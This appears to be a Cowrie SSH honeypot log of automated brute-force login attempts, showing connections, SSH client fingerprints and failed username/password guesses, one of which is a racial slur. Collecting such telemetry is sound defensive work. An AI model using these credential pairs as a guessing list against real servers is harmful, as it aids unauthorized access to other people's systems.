{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:25:26.928230Z","src_ip":"45.232.73.84","session":"c306520fed98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Housejoy@123","message":"login attempt [root/Housejoy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:25:27.469503Z","src_ip":"45.232.73.84","session":"c306520fed98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:25:28.600875Z","src_ip":"45.232.73.84","session":"c306520fed98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41556,"dst_ip":"159.203.135.109","dst_port":22,"session":"559e30b67cd3","protocol":"ssh","message":"New connection: 159.203.92.129:41556 (159.203.135.109:22) [session: 559e30b67cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:25:54.797159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:25:54.802849Z","src_ip":"159.203.92.129","session":"559e30b67cd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:25:54.808845Z","src_ip":"159.203.92.129","session":"559e30b67cd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admnin","password":"123abc","message":"login attempt [admnin/123abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:25:54.823135Z","src_ip":"159.203.92.129","session":"559e30b67cd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:25:55.829684Z","src_ip":"159.203.92.129","session":"559e30b67cd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":27836,"dst_ip":"10.17.0.5","dst_port":22,"session":"43af3df48370","protocol":"ssh","message":"New connection: 152.32.163.183:27836 (10.17.0.5:22) [session: 43af3df48370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:26:14.777216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:26:14.783098Z","src_ip":"152.32.163.183","session":"43af3df48370","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:26:15.027448Z","src_ip":"152.32.163.183","session":"43af3df48370","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"a","message":"login attempt [gitlab/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:26:16.032578Z","src_ip":"152.32.163.183","session":"43af3df48370","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:26:17.278666Z","src_ip":"152.32.163.183","session":"43af3df48370","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":55046,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2cc379eeabc","protocol":"ssh","message":"New connection: 45.232.73.84:55046 (159.203.135.109:22) [session: d2cc379eeabc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:26:29.050474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:26:29.055685Z","src_ip":"45.232.73.84","session":"d2cc379eeabc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:26:29.182540Z","src_ip":"45.232.73.84","session":"d2cc379eeabc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc,.","message":"login attempt [root/123abc,.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:26:29.713153Z","src_ip":"45.232.73.84","session":"d2cc379eeabc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:26:30.841431Z","src_ip":"45.232.73.84","session":"d2cc379eeabc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34514,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3c425e6c686","protocol":"ssh","message":"New connection: 159.203.92.129:34514 (159.203.135.109:22) [session: a3c425e6c686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:26:40.056244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:26:40.061240Z","src_ip":"159.203.92.129","session":"a3c425e6c686","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:26:40.066962Z","src_ip":"159.203.92.129","session":"a3c425e6c686","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adrian","password":"adrian","message":"login attempt [adrian/adrian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:26:40.077656Z","src_ip":"159.203.92.129","session":"a3c425e6c686","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:26:41.084938Z","src_ip":"159.203.92.129","session":"a3c425e6c686","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53394,"dst_ip":"159.203.135.109","dst_port":22,"session":"270b97e0be1b","protocol":"ssh","message":"New connection: 159.203.92.129:53394 (159.203.135.109:22) [session: 270b97e0be1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:27:24.574091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:27:24.580062Z","src_ip":"159.203.92.129","session":"270b97e0be1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:27:24.586259Z","src_ip":"159.203.92.129","session":"270b97e0be1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adrian","password":"adrian123","message":"login attempt [adrian/adrian123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:27:24.600363Z","src_ip":"159.203.92.129","session":"270b97e0be1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:27:25.606734Z","src_ip":"159.203.92.129","session":"270b97e0be1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":43810,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b0601f06563","protocol":"ssh","message":"New connection: 45.232.73.84:43810 (159.203.135.109:22) [session: 0b0601f06563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:27:29.574860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:27:29.584488Z","src_ip":"45.232.73.84","session":"0b0601f06563","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:27:29.711857Z","src_ip":"45.232.73.84","session":"0b0601f06563","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nigga","message":"login attempt [root/nigga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:27:30.205322Z","src_ip":"45.232.73.84","session":"0b0601f06563","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:27:31.334061Z","src_ip":"45.232.73.84","session":"0b0601f06563","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":45374,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bd06d0c60d5","protocol":"ssh","message":"New connection: 152.32.163.183:45374 (10.17.0.5:22) [session: 3bd06d0c60d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:27:48.707928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:27:48.713839Z","src_ip":"152.32.163.183","session":"3bd06d0c60d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58044,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2c0b9eba575","protocol":"ssh","message":"New connection: 159.203.92.129:58044 (159.203.135.109:22) [session: a2c0b9eba575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:28:06.711290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:28:06.717323Z","src_ip":"159.203.92.129","session":"a2c0b9eba575","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:28:06.723369Z","src_ip":"159.203.92.129","session":"a2c0b9eba575","protocol":"ssh"}
